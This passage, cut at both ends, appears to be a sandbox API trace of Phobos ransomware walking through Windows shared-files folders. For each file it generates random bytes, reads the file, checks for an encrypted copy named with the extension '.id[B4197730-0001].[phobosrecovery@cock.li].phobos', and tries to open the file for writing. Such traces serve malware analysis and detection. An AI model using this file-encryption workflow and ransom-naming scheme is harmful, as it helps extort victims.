(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.384] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.384] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2246) returned 1 [0050.384] CloseHandle (hObject=0x320) returned 1 [0050.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0050.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.384] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.384] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2240) returned 1 [0050.384] CloseHandle (hObject=0x320) returned 1 [0050.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0050.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.385] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.388] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2644) returned 1 [0050.388] CloseHandle (hObject=0x320) returned 1 [0050.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0050.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.389] SetEvent (hEvent=0x2e8) returned 1 [0050.389] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.389] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2542) returned 1 [0050.389] CloseHandle (hObject=0x320) returned 1 [0050.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0050.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.389] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.390] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2568) returned 1 [0050.390] CloseHandle (hObject=0x320) returned 1 [0050.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0050.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.390] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.390] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2596) returned 1 [0050.390] CloseHandle (hObject=0x320) returned 1 [0050.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0050.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.391] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.396] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2520) returned 1 [0050.396] CloseHandle (hObject=0x320) returned 1 [0050.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0050.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.396] SetEvent (hEvent=0x2e8) returned 1 [0050.396] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.396] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2720) returned 1 [0050.396] CloseHandle (hObject=0x320) returned 1 [0050.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0050.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.397] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.599] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=255) returned 1 [0050.599] CloseHandle (hObject=0x320) returned 1 [0050.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0050.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.599] SetEvent (hEvent=0x2e8) returned 1 [0050.599] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1074) returned 1 [0050.619] CloseHandle (hObject=0x320) returned 1 [0050.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0050.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.620] SetEvent (hEvent=0x2e8) returned 1 [0050.620] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.621] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=231) returned 1 [0050.621] CloseHandle (hObject=0x320) returned 1 [0050.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0050.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.621] SetEvent (hEvent=0x2e8) returned 1 [0050.621] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.623] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=23871) returned 1 [0050.623] CloseHandle (hObject=0x318) returned 1 [0050.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0050.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.628] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.632] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6406) returned 1 [0050.632] CloseHandle (hObject=0x318) returned 1 [0050.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0050.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.633] SetEvent (hEvent=0x2e8) returned 1 [0050.633] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.636] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4222) returned 1 [0050.636] CloseHandle (hObject=0x318) returned 1 [0050.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0050.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.637] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.638] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=232) returned 1 [0050.638] CloseHandle (hObject=0x318) returned 1 [0050.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0050.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.640] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.643] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=233) returned 1 [0050.643] CloseHandle (hObject=0x318) returned 1 [0050.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0050.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.643] SetEvent (hEvent=0x2e8) returned 1 [0050.643] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.645] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1920) returned 1 [0050.645] CloseHandle (hObject=0x318) returned 1 [0050.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0050.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.647] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0050.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 